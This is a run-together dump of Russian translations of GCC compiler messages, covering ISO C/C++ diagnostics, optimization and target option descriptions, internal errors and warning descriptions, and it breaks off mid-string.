C++ запрещает использовать инициализацию при создании массивов с помощью newISO C++ запрещает инициализацию элемента %qDISO C++ запрещает инициализацию элемента-константы %qD нецелочисленного типа %qTISO C++ запрещает определять вложенный тип %qD с тем же именем, что и объемлющий классISO C++ запрещает опускать средний операнд выражения ?:ISO C++ не поддерживает индексирование массива, не являющегося левой частью присваиванияISO C++ не поддерживает взятие адреса от функции %<::main%>ISO C++  не поддерживает взятие адреса от bound-элемента-функции для формирования указателя на элемент-функцию. Используйте синтаксис %<&%T::%D%>ISO C++  не поддерживает взятие адреса от приведения к не-lvalue-выражениюISO C++ не поддерживает взятие адреса от неквалифицированного элемента-функцииили элемента в скобках для формирования указателя на элемент-функцию.Используйте синтаксис %<&%T::%D%>ISO C++ запрещает использование %qE в явных конкретизацияхISO C++ запрещает использовать список инициализации для ссылки %qDISO C++ не поддерживает использование указателя %<void *%> в вычитанииISO C++ не поддерживает использование указателя на функцию в вычитанииISO C++ не поддерживает использование указателя на метод в вычитанииISO C++ запрещает массивы переменного размераISO C++ запрещает массив переменного размера %qDISO C++ запрещает массивы нулевого размераISO C++ запрещает массив нулевого размера %qDв ISO C++ анонимные структуры запрещеныISO C++ не поддерживает перегрузку операции ?:ISO C90 не поддерживает конструкцию [*] в декларациях массивовISO C90 не поддерживает тип %<long long%>ISO C90 не поддерживает квалификаторы типов и спецификатор %<static%> в деклараторах параметров-массивовISO C90 не поддерживает комплексные типыISO C90 не поддерживает регулируемые элементы-массивыISO C90 не поддерживает массив %qs, размер которого нельзя определитьв ISO C индексирование не-lvalue массива запрещеноПри использовании -fvariable-expansion-in-unroller - максимальное число копий каждой переменной, которое может быть создано при развертке циклаЕсли число кандидатов в множестве меньше этого значения, то при оптимизации множества всегда делается попытка удалить неиспользуемые независимые переменныеПри планировании после распределения регистров, использовать метод суперблоковПри планировании после распределения регистров, использовать метод трассИгнорировать атрибут dllimport для функцийИгнорировать dllimport для функцийИгнорировать операции чтения при инструментировании для mudflapИгнорируется (устаревшая)Реализовать таблицы виртуальных функций на основе thunksВ функции %qsВ функции-члене %qsВключить содержимое <файла> перед компиляцией других файловНекорректной результат функцииУвеличить соответствие кода для плавающей арифметики стандарту IEEEЧисло доступных программных псевдорегистровВставлять friend-функции в объемлющие namespace-областиВыполнять inline-подстановку всех известных строковых операцийИспользовать непосредственные константы, если это требует не более 2 командПо умолчанию выполнять inline-подстановку функций-элементовВыполнять рекурсивную inline-подстановку, только если вероятность данного вызова превышает значение этого параметраВходной файл - файл со списком модулей для компиляцииВставлять код для профилирования по дугам управляющего графа программыВставлять код для профилирования значений выраженийГенерировать код для проверки стекаПри входе и выходе из функции генерировать вызовы профилированияВ %C требуется целочисленное выражениеПереполнение при вычислении целочисленного выраженияПереполнение при вычислении выражения в %CПодставлять тела функций, вызываемых один раз, в места вызововПодставлять тела простых функций в места вызововВнутренняя ошибка в (1): Внутренняя ошибка компилятора: повторный вход в программу диагностики
Внутренняя ошибка: %s (программа %s)
Пожалуйста, пришлите полный отчёт об ошибке.
См. инструкции на %s.Помещать литеральные данные вместе с кодом в секцию textВыдавать предупреждения, требуемые для соответствия стандартуJava-класс %qT не может иметь деструкторJava-класс %qT не может иметь нетривиальный неявный деструкторJava-класс %qT не может иметь несколько базовых классовJava-класс %qT не может иметь виртуальных базовых классовJava-метод %qD имеет параметр типа %qT, не поддерживаемого JavaJava-метод %qD имеет тип результата %qT, не поддерживаемый JavaВыравнивать метки переходов по адресам, кратным указанной степени числа 2Генерировать unwind-таблицы только для обработки исключенийИспользовать только icc0/fcc0L%d латентность кэша для %s неизвестнаПоднять ограничение на размер GOTКак -M, но игнорировать системные заголовкиКак -MD, но игнорировать системные заголовки Как -pedantic, но выдавать ошибки, а не предупрежденияУстановить <длину> строк диагностических сообщений в символах. 0 - подавить разбиение на строкиМаксимальный <размер> функций для inline-подстановкиВыполнено строк:%s из %d
При компоновке создавать файл в формате ELF (а не mmo)Компоновать с libads.a, libc.a и crt0.oКомпоновать с libmvme.a, libc.a и crt0.oКомпоновать с libsim.a, libc.a и sim-crt0.oКомпоновать с libyk.a, libc.a и crt0.oКомпоновать с библиотеками picИспользовать и искать файлы PCH дажо во время препроцессированияВыравнивать циклы по адресам, кратным указанной степени числа 2Циклы с таким или с большим количеством итераций будут выравниваться.MCU %qs поддерживается только для ассемблераВнутреннее сообщение MMIX: %s не является целым, к которому можно применить сдвигВнутреннее сообщение MMIX: некорректный номер регистра: %dВнутреннее сообщение MMIX: некорректное значение для 'm', не CONST_INTВнутреннее сообщение MMIX: ошибка при декодировании операндаВнутреннее сообщение MMIX: ожидалось значение CONST_INT, а не этоВнутреннее сообщение MMIX: ожидалась константа, а не этоВнутреннее сообщение MMIX: ожидался регистр, а не этоВнутреннее сообщение MMIX: последний именованный vararg не поместится в регистрВнутреннее сообщение MMIX: отсутствует случай %qc в mmix_print_operandВнутреннее сообщение MMIX: это не константа:Внутреннее сообщение MMIX: некорректный адресВнутреннее сообщение MMIX: попытка вывода некорректного обратного условия:Внутреннее сообщение MMIX: чему равен код условия от этой конструкции?Внутреннее сообщение MMIX: чему равен код условия от этой конструкции?аргумент - вектор MMX без включения MMX изменяет ABIвозврат вектора MMX без включения MMX изменяет ABIСохранять укзатель на вызванную функциюПо умолчанию считать тип "char" знаковымПо умолчанию считать тип char беззнаковымКомпилировать воспроизводимым образом, используя <строку> для генерации случайных чиселУстановить ширину целых типов 32 битаРазмер структуры кратен 4 байтам (предупреждение: при этом изменяется ABI)Считать, что <регистр> портится при вызовах функцийСчитать, что <регистр> сохраняется при вызовах функцийНе использовать <регистр> при генерации кодаРегистр MAC портится при вызовахОтметить область видимости всех встроенныех методов как скрытуюМаксимальный рост кода за счёт дублирования хвостов (в процентах)Максимальный рост объема "большой" функции в результате inline-подстановок (в процентах)Максимальный рост окна стека из-за inline-подстановок функций (в процентах)Если число  полей в структуре больше данного параметра, то при анализе указателей вся структура рассматривается как одна переменнаяМаксимальное число инструкций в блоке, который необходимо дублировать при протягивании переходовРазрешить инструкции min, maxЗапретить инструкции min, maxМинимальный объем кучи, при котором включается сбора мусора, в процентах от общего размера памяти, выделенного под кучуМинимальный размер кучи в килобайтах, при котором включается сбор мусора, в килобайтахМинимальное число виртуальных отображений, при котором может быть выполнено полное переименование виртуальных символовОтсутствует открывающая скобкаМодуль %s в строке %d символ %d: %sВыносить инвариантные вычисления за пределы цикловNOTE_INSN_BASIC_BLOCK %d в середине блока %dотсутствует NOTE_INSN_BASIC_BLOCK для блока %dNULL в арифметическом выраженииИмя слишком длинноеПереходов нет
Вызовов нет
отсутствует стандартный файл crt0.oНет выполняемых строк
Требуется неотрицательная ширинанекорректный Java .class файл.
Число байтов в псевдорегистрах на памяти (по умолчанию: 16, возможные значения: 0..16)Число регистров для передачи целочисленных аргументовдекларации Objective-C могут находиться только в глобальной областиИсключать указатель кадра в листовых функцияхОтбрасывать шаг редукции отрезка при выполнении комплексного деленияИсключать указатель кадра в листовых функцияхГенерировать код с выдачей одной команды на тактИспользовать только 32 плавающих регистраИспользовать 32 регистра общего назначенияОптимизировать размер, а не быстродействиеОптимизировать индуктивные переменные в древовидном представленииОптимизировать команды lui/addiu при загрузке адресовОптимизировать парные вызовы и хвостовую рекурсиюОптимизировать хвостовые команды вызова в ассемблере и компоновщикеОптимизировать код для указанного ПРОЦЕССОРаКлючи:
Свободная память закончилась - malloc() завершился ошибкойВыход за границу стека.
Выводить файл классаВыводить размеры команд в ассемблерный файлОтменить -mbest-lib-optionsотсутствует PHI-аргумент для дуги %d->%dаргумент PHI не является SSA_NAME или инвариантомPIC не поддерживается с командами CONST16%<asm%> портит PIC-регистр %qsPIC-регистр не установленнулевой указатель в вызове PRINT_OPERANDPRINT_OPERAND: некорректный символ пунктуации '%c'нулевой указатель в вызове PRINT_OPERAND_ADDRESSУпаковывать команды во VLIWПаковать поля структур без дырПередать компоновщику ключ -assert pure-textПередавать плавающие аргументы в FP-регистрахПринимать во внимание спецификаторы "inline"Исключить дублирование информации DWARF2Выполнить межпроцедурное распространение константВыполнять планирование циклов по модулю метом SMS перед первым проходом планирования командВыполнить специфические для VR4130 оптимизации выравниванияВыполнить оптимизацию распространения диапазонов значений на древовидном представленииВыполнить некоторые дополнительные дорогостоящие оптимизацииВыполнить оптимизацию распространения копий регистровВыполнить оптимизацию переименования регистровОптимизировать чтение из памяти в точках, куда передается управление, после генерации прологов и эпилоговОптимизировать чтение из памяти в точках, куда передается управление, до генерации прологов и эпилоговПреобразовывать условные переходы в эквивалентный код без переходовПреобразовывать условные переходы в условно выполняемый кодВыполнить оптимизацию кода вокруг команд передачи управленияВыполнить inline-подстановки на ранних проходах оптимизацииВ рамках глобальной экономии общих подвыражений выполнить расширенный перенос чтений из памяти между блокамиВыполнить глобальную экономию общих подвыраженийВыполнить глобальную экономию общих подвыражений после распределения регистровВыполнить протягивание переходовВыполнить разбиение диапазонов жизни значений на проходе SSA->normalВыполнить раскатку цикловВыполнить развертку всех цикловВыполнить развертку циклов с известным числом итерацийВыполнить декомпозицию циклов, содержащих условные ветвленияВ рамках глобальной экономии общих подвыражений исключать лишние чтения из памяти после записей по тем же адресамВыполнить замену скаляров для агрегатных значенийВ рамках глобальной экономии общих подвыражений выполнить перенос записей в память между блокамиФормировать суперблоки методом дублирования хвостовИсключить отладочную информацию о неиспользуемых типахВыполнить отслеживание переменныхВыполнить оптимизации на уровне всей программыРазрешить использование '$' в идентификаторахРазрешать планирование пролога функцииРазрешить использование ключевого слова assertРазрешить универсальные имена литер (\u and \U) в идентификаторахРазмещать элементы данных в отдельных секцияхПомещать каждую функцию в отдельную секциюПомещать плавающие константы в TOCЗаписать результат в <файл>Помещать константы вида "символ+смещение" в TOCОтправьте подробное сообщение об ошибке
с препроцессированным исходным кодом.
Смотрите инструкции в %s.
Присваивание указателя не к указателю в %LГенерировать код с 32-битными указателямиГенерировать код с 64-битными указателямиОтдавать предпочтение переходам, а не условному выполнениюОтдавать предпочтение пословному доступу к памяти перед побайтнымПриписывать префикс ":" глобальным символам (для использования с PREFIX)Добавлять название процессора ко всем символамСчитать, что переходы затратныНе использовать аппаратную реализацию плавающих операцийВывести только контрольную сумму исполняемого файла для проверки корректности PCH и остановитьсяПечать информации о покрытии кода.

Печатать дополнительные (возможно, нежелательные) предупрежденияПечатать имена используемых заголовочных файловОбрабатывать директивы #identОбработка спецификации %c%s%c, т.е. '%s'
Генерировать код для прямого порядка байт (big endian)Генерировать код, перемещаемый во время выполненияГенерировать код для обратного порядка байт (little endian)Поддержка профилирования для CRXПрограмма полностью расположена в нижних 64k памятиЗапретить вызовы функций относительно PCСоздавать библиотеке для симулятораПомещать файлы MODULE в указанный 'каталог'Помещать данные в СЕКЦИЮПомещать все в обычный TOCПомещать функции в СЕКЦИЮРазмещать глобальные и статические данные меньше заданного <числа> байт в специальных секцияхПомещать переходы в гнезда задержки вызововПомещать данные только для чтения в СЕКЦИЮРазмещать неинициализированные константы в ROM (требуется -membedded-data)Помещать данные, инициализированные нулями, в секцию bssRETURN_ADDRESS_OFFSET не поддерживаетсяRTL: доступ к эл-ту %d '%s' последним элементом %d; функция %s, в %s:%dRTL: доступ к эл-ту %d вектора с числом эл-тов %d; функция %s, в %s:%dRTL: ожидался код '%s' или '%s', обнаружено '%s'; функция %s, в %s:%dRTL: ожидался код '%s', обнаружено '%s'; функция %s, в %s:%dRTL: ожидался эл-т %d типа '%c' или '%c', имеется '%c' (rtx %s); функция %s, в %s:%dRTL: ожидался эл-т %d типа '%c', имеется '%c' (rtx %s); функция %s, в %s:%dRTL флаги: %s использован с неподходящим rtx-кодом '%s' в %s, в %s:%dОтношение числа виртуальных отображений к числу виртуальных символов, при котором выполняется полное переименование символовЧтение модуля %s в строке %d символ %d: %sСпецификации прочитаны из %s
Распознавать ключевые слова GNU-расширенийВключить поддержку встроенных функцийРаспознавать ключевое слово "asm"Уменьшить количество создаваемых метаданных об объектах для использования в Java reflectionСократить объем объектных файловПреобразовывать имена файлов при включенииУдалять лишние куски памятиПереупорядочить блоки и партиции в hot и cold разделыПереупорядочить блоки для улучшения размещения кодаПереупорядочить функции для улучшения размещения кодаПереименовывать временные SSA-переменные при копировании для более близкого соответствия программным переменнымГенерировать для циклов переход по счётчику вместо команд продвижения счётчика, сравнения и переходаЗамена для системного путиВыполнить замену временных выражений на проходе SSA->normalВывести информацию о распределении памятиПоказать время, затраченное на каждый проход оптимизацииТребовать IEEE-совместимую библиотеку математических подпрограмм (OSF/1)Планировать код после распределения регистровПланировать код перед распределением регистровВыделять место для возвращаемых аргументов в прологе функцииОграничивать использование doloop заданным уровнем вложеностиОграничить миграцию регистров, в которые помещаются целевые адреса переходов, чтобы не переиспользовать эти регистры ни в каких блокахОграничить использование плавающей арифметики операциями над 32-битными значениямиВозвращать все структуры в памяти (умолчание для AIX)Возвращать результаты плавающего типа в ac0 (fr0 в синтаксисе ассемблера Unix)Возвращать указатели и на a0 и на d0Возвращать короткие агрегатные значения в памяти, а не в регистрахВозвращать короткие агрегатные в регистрахВозвращать короткие структуры в регистрах (умолчание для SVR4)Возвращать результаты функций в регистрах FPUВключить использование r30SH2a не поддерживает little-endianповреждение SSAимя SSA в списке свободных, но на него есть ссылкиSSA_NAME создано в двух разных блоках %i и %iнекорректное SSA_NAME_DEF_STMTдолжен быть установлен флаг SSA_NAME_OCCURS_IN_ABNORMAL_PHIнабор команд SSE отменен, используется арифметика 387аргумент - SSE регистр без задания SSEвозврат результата в SSE регистре без задания SSEаргумент - вектор SSE без включения SSE изменяет ABIрезультат - вектор SSE без включения SSE изменяет ABIТо же, что -mep -mprolog-functionСохранять/восстанавливать регистры до/после вызовов функцийПланировать код для указанного процессораПланировать код для указанного процессораПланировать начало и конец процедурыОбласть действия переменных, объявленных в заголовке цикла, ограничивается рамками циклаОшибка сегментацииОшибка сегментацииИспользовать соглашения о вызовах для ABIВыбрать метод GPR работы с плавающими значениямиОтносительное максимальное число повторений блока в программе, при превышении которого блок должен считаться критическимОтносительная максимальная частота повторений блока в программе, при превышении которой блок должен выравниватьсяОтносительная максимальная частота повторений блока в программе, при превышении которой блок должен считаться критическимВывод traceback-таблицы: full (полная), part (частичная), no (не выводить таблицу)Метод обработки sdataСчитать <каталог> корневым каталогом системыВключить определения макросов WindowsЗадать путь поиска классовВключить проверку дальности зависимостей при предварительном планировании отложенных командУстанавливать errno после вызовов встроенных мат. функцийУстановить начальное максимальное выравнивание для элементов структурЧисло отложенных команд, подлежащих предварительному планированиюЗадать уровень оптимизацииЗадать значение для параметра. См. далее полный список параметровУстановить sizeof(bool) в 1Стартовый адрес данныхСтартовый адрес программыУстановить бит PPC_EMB в заголовке ELF-файлаУстановить цену переходовУстановить видимость символов по умолчаниюМодель генерации кода для данных, локальных для потов, по умолчаниюЗадать путь к каталогу расширенийБазовое имя файла для дамповМаксимальный размер данных для размещения в области SDAМаксимальный размер данных для размещения в области TDAМаксимальный размер данных для размещения в области ZDAЗадать максимальную величину одной операции инкрементации стекаИмя целевого процессораУстановить уровень подробности сообщений от планировщикаУстановить степень подробности сообщений при векторизации цикловСпецификация %s установлена в '%s'

Укорачивать ссылки по адресу во время компоновкиОбласть малых данных: none, sdata, useАльтернативное имя для секции кодаИспользовать указанный ABIПроцессор, для которого осуществляется генерацию кодаПроцессор, для которого осуществляется планирование командЗадать тип ЦП для оптимизации планирования. Допустимые значения 700, 7100, 7100LC, 7200, 7300, 8000Задать стандарт UNIX для определённых переменных и компоновкиЗадает выравнивание полей структур default/naturalЗадать интерфейс (ABI)Битовый размер смещений для непосредственных TLSФункция сброса кэшаНомер прерывания по сбросу кэшаСпособ доступа к указателю на нитьИспользовать ли аппаратуру для вычислений с плавающей точкойЗадать главный объект для TPF-OSГлубина конкретизации шаблоновЗадать имя для функции деления 32-битных чисел со знакомЗадать ключи GNATДиапазон регистров с фиксированным назначениемЗадать приоритет планирования для команд с ограничениями по dispatch-слотамРазмер long double (64 или 128 бит)Аргументы могут перекрываться друг с другом и с глобальными даннымиКодировка исходных файлов по умолчаниюМинимальное битовое выравнивание в структурахИмя целевого процессораИмя целевой архитектурыЗадать целевую аппаратуру для плавающей точки и формат вычисленийПорядок выделения регистровРегистр для PIC-адресацииЗадает схему расстановки nopРазбивать диапазоны жизни индуктивных переменных при развертке цикловСтатическая компоновка не поддерживается.
Прекратить просмотр, если вероятность лучшей дуги меньше заданного порогового значения (в процентах). Используется, если доступны данные профилированияПрекратить просмотр, если вероятность лучшей дуги меньше заданного порогового значения (в процентах). Используется при отсутствии данных профилированияПрекратить обратный просмотр, если обратная вероятность лучшей дуги меньше заданного порогового значения (в процентах)Сохранять имена функций в объектном кодеВключить поддержку внутренних функций 3DNow!Включить поддержку Green Hills ABIПоддержка триграфов, предусмотренных ISO CВключить поддержку внутренних функций MMX и SSE при генерации кодаВключить поддержку внутренних функций MMXВключить поддержку внутренних функций MMX, SSE и SSE2  при генерации кодаВключить поддержку встроенных функций MMX, SSE, SSE2, SSE3 при генерации кодаВключить поддержку вызовов между системами команд Thumb и ARMПоддержка унаследованной модели многопоточностиПередача сообщений средствами Parallel EnvironmentПоддержка многопоточностиИспользовать команды умножения со сложениемПоддерживать синхронные исключения вне вызововПодавить выдачу предупрежденийТо же, что -WcommentПереход выполнен хотя бы однажды:%s из %d
Генерировать код двойной плавающей точности DFLOATЦелевая архитектура имеет разбиение памяти для кода и данныхГенерировать код для процессора AM33Генерировать код для процессора AM33/2.0Целевая архитектура: %s
Ключ --param позволяет задать следующие параметрыНаиболее младшая версия MacOS X в которой будет запускаться программаСледующие ключи не зависят от входного языкаСледующие ключи относятся к исходному языкуСледующие ключи не документированыСледующие ключи поддерживаются языком Следующие ключи не зависят от целевой архитектурыСледующие ключи контролируют предупреждения компилятораСледующие ключи контролируют оптимизациюОграничение снизу на буфер для защиты от разрушения стекаМаксимальный объем памяти для работы GCSEМаксимальная глубина рекурсивных inline-подстановок для inline функцийМаксимальная глубина рекурсивных inline-подстановок для не-inline функцийМаксимальный коэффициент увеличения размера кода при копировании базовых блоковМаксимальное число инструкций, обрабатываемых CSE между сбросами хеш-таблицыМаксимальная длина пути, рассматриваемого при экономии общих подвыраженийМаксимальный размер списка ждущих операций при планированииМаксимальное число позиций в памяти, записываемых cselibМаксимальный размер выражения (число RTL-узлов), которое может быть записано как последнее известное значение псевдорегистраМаксимальное число блоков в отрезке для междублочночного планированияМаксимальное число входящих дуг, рассматриваемых при перекрестных переходахМаксимальное число инструкций в отрезке для межблочного планированияМаксимальное число инструкций в полностью раскатанном циклеМаксимальное число инструкций в раскатанном циклеМаксимальное число инструкций в раскатанном цикле, выполняемом только один разМаксимальное число инструкций в разомкнутом (unswitched) циклеМаксимальное число дублируемых инструкций при факторизации вычисляемых gotoМаксимальное число команд в функции, пригодной для inline-подстановкиМаксимальное число команд, на которое может увеличиться inline-функция в результате рекурсивной подстановкиМаксимальное число инструкций, на которое может увеличится не-inline функция в результате рекурсивных inline-подстановокМаксимальное число команд, рассматриваемых при заполнении гнезд задержкиМаксимальное число команд, рассматриваемых при вычислении областей жизни значений на регистрахМаксимальное число инструкций в развернутом циклеМаксимальное среднее число реально выполняемых инструкций в развернутом циклеМаксимальное число инструкций для обратного просмотра при поиске эквивалентной загрузки в регистрМаксимальное число команд при автоматической inline-подстановкеМаксимальное число итераций цикла для статического предсказанияМаксимальное число проходов при выполнении GCSEМаксимальный коэффициент раскатки циклаМаксимальный коэффициент для полной раскатки циклаМаксимальное число полей структуры, при котором будет применяться поэлементное копированиеМаксимальный коэффициент развертки циклаМаксимальный коэффициент размыкания циклаМаксимальный размер структуры (в байтах), при котором будет применяться поэлементное копированиеПри вынесении инвариантов цикла - минимальная цена выражения, рассматриваемого как дорогостоящее Минимальное число совпадающих инструкций, при котором применяется оптимизация перекрестных ссылокМинимальная вероятность достижения блока для спекулятивного межблочного планированияЧисло тактов, учитываемых алгоритмом swing modulo scheduling при проверке конфликтов по ресурсамПроцент объёма кода функции, взвешенный по частоте выполнения, который должен быть охвачен при формировании трасс планирования. Используется, когда имеются данные профилированияПроцент объёма кода функции, взвешенный по частоте выполнения, который должен быть охвачен при формировании трасс планирования. используется, когда данные профилирования отсутствуютРазмер кэша L1Размер строки кэша L1Размер кэша L2Размер тела "большой" функцииРазмер окна стека, считающийся достаточно большимРазмер тела "большой" функцииПороговое соотношение между конкретизированными полями и общим размером структурыПороговое отношение для выполнения частичного удаления избыточных операций после прохода reloadПороговое соотношение счётчиков выполнения критических дуг, при котором после прохода reload может выполняться частичное удаление избыточных операцийМаксимальное число небольших целочисленных констант, для которых в компиляторе будут использованы разделяемые структурыЭто свободно распространяемое программное обеспечение. Условия копирования
приведены в исходных текстах. Без гарантии каких-либо качеств, включая 
коммерческую ценность и применимость для каких-либо целей.

Это свободно распространяемое программное обеспечение. Условия копирования
приведены в исходных текстах. Без гарантии каких-либо качеств, включая 
коммерческую ценность и применимость для каких-либо целей.

Этот ключ устарел; используйте -Wextra.Этот ключ не документированМодель многопоточности: %s
Thumb: считать, что указатели на функции могут ссылаться на не-Thumb кодThumb: считать, что нестатические функции могут быть вызваны из ARM-программThumb: генерировать (листовые) кадры стека, даже если они не нужныThumb: генерировать (не листовые) кадры стека, даже если они не нужныНе использовать GOTPLT-ссылки с -fpic и -fPICСлишком много аргументов %s в %LПоддержка трамплинов для CRXПрерывания при знаковых операциях сложения, вычитания, умноженияПрерывание при переполнении стека, <регистр> задает границу стекаПрерывание при переполнении стека, <символ> задает границу стекаВыдавать прерывание по целочисленному делению на нольВсе предупреждения считать ошибкамиТрактовать отсутствующие заголовки как генерируемые файлыСчитать, что входной файл уже препроцессированДля получения более подробной информации выполните 'jcf-dump --help'
Попробуйте выполнить '%s' в командной строке, чтобы увеличить его размер.
Делать выравнивание для указанного процессора или версии процессораАдаптировать код для указанного процессораЗадать уточненную информацию о латентности памятиАнализ экранирования и связей переменных на основе информации о типеИмя типа '%s' в %C неоднозначноUNKNOWN в print_operand !?Отменить определение макросаНеожиданный конец файлаНеожиданное окончание строки форматаНеожиданное окончание модуля в строковой константеНекорректный мусор после определения в %CНеидентифицированная операция вызованеизвестная архитектура '%s'Неизвестное назначениеНеизвестный операнд intrinsicНеизвестный оператор '%s' в %%LНеизвестный источникнекорректный ключ -mlong-double-%sНекорректное значение %qs ключа -mmacosx-version-minИспользование: %s [КЛЮЧИ]... ИМЯ-КЛАССАmain [ВЫХОДНОЙ ФАЙЛ]
Синтаксис: %s [ключи] файл...
Использование: gcov [КЛЮЧ]... ВХОДНОЙ_ФАЙЛ...

Использование: jcf-dump [КЛЮЧ]... КЛАСС...

Используйте "-Wa,КЛЮЧ", чтобы передать "КЛЮЧ" ассемблеру.

Используйте "-Wl,КЛЮЧ", чтобы передать "КЛЮЧ" компоновщику.

Использовать 128-битное представление long doubleИспользовать 16-битное представление типа intИспользовать шаблоны для 16-битного absИспользовать 32-битное представление типа floatИспользовать 32-битное представление типа intИспользовать 32-битный ABIИспользовать 32-битные регистры сопроцессора плавающей арифметикиИспользовать 32-битные регистры общего назначенияГенерировать 4-байтные элементы в таблицах переключателейИспользовать 4 аккумулятора данныхИспользовать 64 плавающих регистраИспользовать 64 регистра общего назначенияИспользовать 64-битное представление типа floatИспользовать 64-битный ABIИспользовать 64-битные регистры сопроцессора плавающей арифметикиИспользовать 64-битные регистры общего назначенияИспользовать 64-битное представление long doubleИспользовать 8 аккумуляторов данныхИспользовать зарезервированные регистры ABIИспользовать команды AltiVecИспользовать команды Branch Likely, вопреки умолчанию для указанной архитектурыИспользовать команды CONST16 для загрузки константИспользовать EABIИспользовать указанную функцию для сброса кеша перед вызовом стекового трамплинаИспользовать секции sdata/sbss, адресуемые относительно регистра GPИспользовать правила выравнивания H8/300HПри сравнениях плавающих значений следовать стандарту IEEEИспользовать команды MIPS-3DИспользовать команды MIPS-DSPИспользовать поддержку потоков MingwИспользовать ассемблерные команды %reloc()Использовать P-мнемонику для статически предсказанных переходовИспользовать команды 'mad' в стиле PMCИспользовать систему команд POWERИспользовать систему команд POWER2Использовать необязательные команды PowerPC группы General PurposeИспользовать необязательные команды PowerPC группы GraphicsИспользовать команду mfcr с одним полем из PowerPC V2.01Использовать команды округления плавающих чисел из PowerPC V2.02Использовать команду popcntb из PowerPC V2.02Использовать систему команд PowerPCИспользовать систему команд PowerPC-64Использовать ROM вместо RAMИспользовать соглашения по передаче регистров SSE для режимов SF и DFИспользовать UNIX-синтаксис для ассемблерного кодаИспользовать набор команд расширения UltraSPARC VisualИспользовать плавающую арифметику VAXИспользовать соглашения о структурах VAXCИспользовать __cxa_atexit для регистрации деструкторовИспользовать 32-битное представление для типа longИспользовать 64-битное представление для типа longИспользовать защиту стека для каждой функцииИспользовать формирование адресов для глобальных регистровИспользовать альтернативные имена регистровИспользовать непосредственные константы произвольного размера в битовых операцияхИспользовать прямой (big-endian) порядок байт Проверка целочисленного деления на ноль при помощи ветвлений и команд breakИспользовать команду bras, если выполняемый файл < 64КбИспользовать call и rtc для вызовов функций и возвратовИспользовать несохраняемые регистры для передачи параметров и возврата значенияИспользовать class <имя> как тип строковых константИспользовать альтернативные соглашения о вызовах с 'rtd'Использовать прямую адресацию для псевдорегистровИспользовать непосредственные ссылки относительно %gs при доступе к TLS-даннымИспользовать команды сравнения плавающих значений, учитывающие epsilon-регистрИспользовать данные профилирования значений при оптимизацияхИспользовать свойства указанного процессора и планировать код для негоИспользовать свойства указанного процессора и планировать код для негоИспользовать инструкции двойной точности плавающих вычисленийИспользовать плавающие регистрыИспользовать указанную модель кодирования SPARC-V9Использовать указанный диалект ассемблераИспользовать указанный диалект локально-поточной памятиИспользовать указанную модель кода x86-64Использовать аппаратный указатель стекаИспользовать аппаратную реализацию плавающей арифметикиИспользовать аппаратную плавающую арифметикуИспользовать аппаратные средства quad-плавающей арифметикиИспользовать имена регистров in/loc/outИспользовать команды косвенного вызова CALLXn в больших программахИспользовать косвенные вызовыИспользовать встроенные шаблоны для копирования памятиИспользовать jsr и rts для вызовов функций и возвратовИспользовать таблицы переходов для достаточно больших операторов switchИспользовать обратный (little-endian) порядок байтИспользовать команды манипулирования медиаданнымиИспользовать команды плавающего умножения со сложением/вычитаниемИспользовать n как ширину строки в свободном режимеИспользовать размещение битовых полей по соглашениям MSИспользовать новые мнемоники команд для архитектуры PowerPCИспользовать обычные соглашения о вызовахИспользовать таблицы смещений для вызова виртуальных методовИспользовать старые мнемоники команд для архитектуры PowerPCИспользовать только одно поле TOC на процедуруИспользовать компактную раскладку в стекеИспользовать команды плавающей арифметики формата paired-single (над парами значений одинарной точности)Использовать портируемые соглашения о вызовахОценивать вероятность переходов на основе данных профилированияИспользовать propolice как метод защиты стекаИспользовать команды push для сохранения выходных аргументовИспользовать red-zone в коде x86-64Использовать регистровый стек для передачи параметров и возврата значенияИспользовать регистры для передачи аргументовИспользовать регистры r2 и r5Использовать rjmp/rcall (с ограниченным диапазоном) для устройств >8KИспользовать разделяемые библиотекиИспользовать среду запуска симулятораИспользовать программную реализацию плавающей арифметикиИспользовать смещение в стекеИспользовать более строгое выравнивание структур для копирования двойными словамиИспользовать заготовки прологов функцийИспользовать расширение указателей CrayИспользовать интерфейс CygwinИспользовать DEC-синтаксис для ассемблерного кодаИспользовать команды работы с битовыми полямиИспользовать команды деленияИспользовать постпроцессор mips-tfile после ассемблераИспользовать максимум возможностей, не противоречащих другим ключамИспользовать для перечислимых типов минимальный целочисленный типИспользовать для double размер floatПроверка целочисленного деления на ноль при помощи условных trapИспользовать команды загрузки из памяти с расширением нулями, а не знаковым битомИспользуется в режиме Fix-and-Continue для указания о том, что возможна подкачка объектных файлов во время выполненияИспользуются внутренние спецификации.
режим VOID выходного потокаПредупреждать об "extern" декларациях не на уровне файлаПредупреждать о "подозрительных" конструкцияхПредупреждать о @selector() без предварительно декларированных методовПредупреждать о конструкциях C, не являющихся общими для C и C++Предупреждать о передаче NULL в качестве аргумента, который отмечен как требующий не-NULL значенияПредупреждать о PCH, которые были найдены, но не использованыПредупреждать о переключателях по enum-типу, содержащих не все альтернативыПредупреждать о приведений функций к несовместимым типамПредупреждать о приведении типов, отменяющих квалификаторыПредупреждать о строках кода, который никогда не будет выполненПредупреждать о возможных нарушениях правил перекрытия данных в памятиПредупреждать о целочисленном делении на ноль при вычислениях времени компиляцииПредупреждать об использовании устаревших типов AltiVec 'vector long ...'Предупреждать о переключателях по enum-типу без метки defaultПредупреждать о переключателях по enum-типу, содержащих не все альтернативы и без метки defaultПредупреждать об использовании средств, отсутствующих в традиционном CПредупреждать о форматных строках, не являющихся литераламиПредупреждать об арифметических действиях над указателями на функцииПредупреждать о функциях, которым можно назначить атрибут noreturnПредупреждать о функциях, которым можно назначить атрибут formatПредупреждать о глобальных функциях без предшествующих декларацийПредупреждать о глобальных функциях без прототиповПредупреждать о неявных декларациях функцийПредупреждать о неадекватном использовании атрибутовПредупреждать о некорректном использовании макроса "offsetof"Предупреждать об определенных в основном файле, но неиспользованных макросахПредупреждать о возможно отсутствующих скобках в инициализаторах структурПредупреждать о неправильном использовании прагмПредупреждать о множественных декларациях объектовПредупреждать о ненормализованных строках UnicodeПредупреждать о невиртуальных деструкторахПредупреждать о перегруженных именах виртуальных функцийПредупреждать о приведении указательных типов с увеличением выравниванияПредупреждать о проблемах с безопасностью при использовании функций форматированияПредупреждать о возможном нарушении правил точек следованияПредупреждать о возможно отсутствующих скобках в инициализаторахПредупреждать о возможно отсутствующих скобкахПредупреждать о возможно вложенных комментариях и комментариях C++, продолжающихся на нескольких физических строкахПредупреждать о некорректных форматах printf/scanf/strftime/strfmonПредупреждать о возвращении функциями структур, объединений, массивовПредупреждать о сравнениях между signed и unsigned значениямиПредупреждать о наличии лишнего текста после #elif и 